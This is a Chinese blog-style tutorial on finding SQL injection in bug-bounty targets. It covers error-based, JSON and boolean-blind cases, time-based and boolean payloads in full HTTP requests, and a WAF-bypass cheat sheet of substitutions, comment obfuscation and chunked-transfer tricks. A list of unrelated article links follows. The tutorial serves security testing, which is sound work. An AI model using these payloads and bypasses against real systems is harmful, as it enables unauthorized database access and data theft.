当前位置: 首页 > news >正文

一文吃透 SQL 注入:实战案例 + 绕过姿势总结

xiasql被动扫描

挖掘src的时候,尽量使用xiasql来被动fuzz,xiasql的payload不会被waf拦截。
但是xiasql跑不出来完全无回显的注入,完全无回显的注入需要利用延时来进行判断。

1' and if(1=1,sleep(10),1) # 1' waitfor delay '0:0:5' -- +

完全无回显的sql注入是很难挖的,挖掘效率也是非常低的,适合白盒审计。

参考文章:https://docs.qq.com/sheet/DWE1hQXRyWVZ2dmpB?tab=BB08J2

sql注入实战挖掘案例

报错注入案例1:整数型

corpid处存在报错注入,这个参数是整数型,通过xiasql被动直接能扫出来。

报错注入案例2:字符型

参数wallet_type存在字符型sql注入。

报错注入案例3:json格式中的sql注入

json格式中也会存在sql注入,只要参数内容经过sql查询,就会可能存在sql注入的风险,与参数存放格式无关:


但要注意的是,xiasql扫不出来json格式下整数型的sql注入,比如说:

{ "id":1 }

这是因为xiasql的payload不符合json格式,例如如下payload:

{ "id":1-1 }

这并不代表不存在sql注入,仅仅把参数内容用引号括起来即可,让它符合json格式:

{ "id":"1-1" }

布尔盲注案例1

如果探测到注入为布尔盲注,直接上sqlmap证明漏洞存在即可。这里是adtypes存在sql注入:

POST /Ad/GetPubAdHandler.ashx HTTP/2 Host: xxx Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 X-Forwarded-For: 127.0.0.1 Priority: u=1, i from=4037&location=7930&newFormat=1&hdtype=10616&adtypes=78

布尔盲注案例2

有时候sqlmap抽风,自己写脚本进行布尔盲注。这里的参数v存在布尔盲注。

GET /reg/query.html?action=q&v=30168c29704d2b8d8&d=301%2fcase%20when%20ascii(substring(database()%2c1%2c1))%3d119%20then%201%20else%20exp(999)%20end%20--%20%2b%20then%201%20else%20exp(999)%20end%20--%20%2b HTTP/1.1 Host: xxxxxx Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: Hm_lvt_11280705779801ddbfaf05ba562a39c2=1757582865 Connection: keep-alive

payload解码后:

301/case when ascii(substring(database(),1,1))=119 then 1 else exp(999) end -- +

写个脚本,爆个库名证明漏洞存在就好。

waf绕过

生僻函数

函数替换函数具体功能
midsubstr截取字符串
join,联合查询,能绕过逗号
likemid、substr、substring、=模糊匹配
limit 1 offset 0limit 0,1限制查询条数,能绕过逗号
greatest>、<返回最大值
least>、<返回最小值
between 32 and 127>、<返回 bool,数值和字符都可以判断
exp计算 e 的 n 次方,运行时报错(710 是分界点)
power计算 a 的 b 次方,运行时报错(3 的 646 次方是分界点)
case when 条件 then 返回值 else 返回值可用于表达式中,如:1/case when 语句
nullif两个值相同返回 null,不同返回第一个值
coalesce传入多个值,如果遇到 null,就跳过取下一个值
!(id<>1)id=1过滤语句:返回 bool 类型:0 或 1
benchmarksleep计算 n 次表达式。
bin、hexascii绕过编码。
concat_wsgroup_concat连接查询结果。
datadir@@datadir查询数据库文件存放目录
union distinct selectunion select联合查询
group byorder by按列排序
limit 1 into @a,@b,@corder by按列排序

内敛注释

select /*!version()*/ # 当 mysql 版本 > 50001 时,以下语句执行。 select /*!50001 version()*/ # 探测 mysql 版本 select /*!80001 version()*/ # 如果低于 8 版本,直接报错。 # 5.7.26 版本:50726

注释脏数据

/*/////sad*asdxxx???*/ select/*/////sad*asdxxx???*/*/*/////sad*asdxxx???*/from users; 函数: database/*/////sad*asdxxx???*/(/*/////sad*asdxxx???*/)

空格绕过

mysql:/**/、/*!*/、%09、%0a、%0b、%0c、%0d、%a0 重要:%0a 是换行符、url 中 + 号表示空格编码 %2B

逗号绕过

select substr(database(),1,1); select substr(database()from(1)for(1)); select mid(database()from(1)for(1));

like 截取字符

select if(user() like 'roo%',sleep(1),1)

and or xor not 绕过

and=&& or=|| xor=| not=!

其他的绕过思路

  • 超多垃圾数据+超大数据包+并发

  • 分块传输绕过(前提是支持)

某些场景下,waf几乎绕不过去,比如过滤单引号,过滤绝大多数关键字,和一些敏感字符的检测(如:/*?/),还有一些情况下存在waf和代码层过滤的双层防护,导致即使xiasql扫到sql注入,也无法证明其危害,甚至超大数据包waf也会强行匹配。
所以某些情况下,waf或人为干预确实能阻止sql注入漏洞。

参考文章:https://docs.qq.com/sheet/DWE1hQXRyWVZ2dmpB?tab=BB08J2

其他师傅的一些思路

  • 水平越权口出现sql注入的概率较大

http://www.jsqmd.com/news/457057/

相关文章:

  • 震惊!这3家瓷砖胶厂家,装修师傅打死不说!
  • 怎么一步步实现小米智能家居之卧室篇
  • 让 AI 像大佬一样思考,已斩获 49 个 CVE 的开源0day!全新一代AI代审工具发现效率提升 10
  • 2026年科小申报倒计时:软著成“隐形加分利器”,已有企业提前布局!
  • RISC和CISC的比较
  • 精压机结构简图——CAD
  • 网工运维绝对不能错过的7大顶级OpenClaw工具和集成
  • 动手学深度学习笔记:丢弃法(Dropout)
  • 基于 DeepSeek 大模型的沉浸式在线教育管理平台 在线教育管理平台,接deepseek大模型,实现AI智能问答
  • 500kW三相光伏并网逆变器的仿真模型: 1.光伏PV, DC/DC采用MPPT最大功率点跟踪...
  • 动手学深度学习笔记:丢弃法(Dropout)代码实现
  • Linux 无处不在,却征服不了台式机?
  • 从“群聊会议”到“施工蓝图”:LangGraph如何让AI工作流稳如泰山?
  • Linux Vim编辑器完全教程:从入门到精通,程序员必备
  • 企业主管必看!Ecovadis评级材料的时效性 - 奋飞咨询ecovadis
  • OpenClaw如何重塑AI代理为个人操作系统的?为什么值得每一个网络工程师关注?
  • 基于 YOLOv8 的肺炎 X 光影像智能辅助诊断系统 前沿 AI 算法 + 实用医疗场景
  • 2026年玻璃钢桥架厂家实力推荐:河北沃瀚环保设备有限公司全系产品解析 - 品牌推荐官
  • 织梦DedeCms 5.7 无法生成首页的解决方法
  • SQL 基础及 MySQL DBA 运维实战 - 4:MySQL 备份与恢复全实战(XtraBackup和mysqldump)
  • 2026年3月安全门窗十大品牌最新推荐 国标权威抗台风 - 资讯焦点
  • K8S存储管理:从Volume到PV/PVC实战
  • 2026年企业人事服务推荐:厦门布瑞泽人才信息服务有限公司,人事代理/外包/招聘一站式解决方案 - 品牌推荐官
  • 2026年谷歌SEO公司权威榜单:十大顶级服务商深度评测 - 资讯焦点
  • 2026成人用品加盟平台哪家好?5大维度实测对比,找到最适合你的那一款 - 资讯焦点
  • [学点编程]python workout,每天10分钟学会python 读书笔记
  • 2026钢带增强螺旋波纹管厂家推荐:pe钢带增强波纹管/钢带增强pe波纹管/hdpe增强钢带螺旋波纹管厂家精选。 - 品牌推荐官
  • 2026年制砖机设备推荐:郑州不二精工设备有限公司,全系制砖机满足多样化生产需求 - 品牌推荐官
  • 3秒去除豆包AI图片水印(无需PS、美图秀秀等工具)
  • 2026年3月GEO服务商实力评测排名:Top7综合竞争力权威榜单发布 - 资讯焦点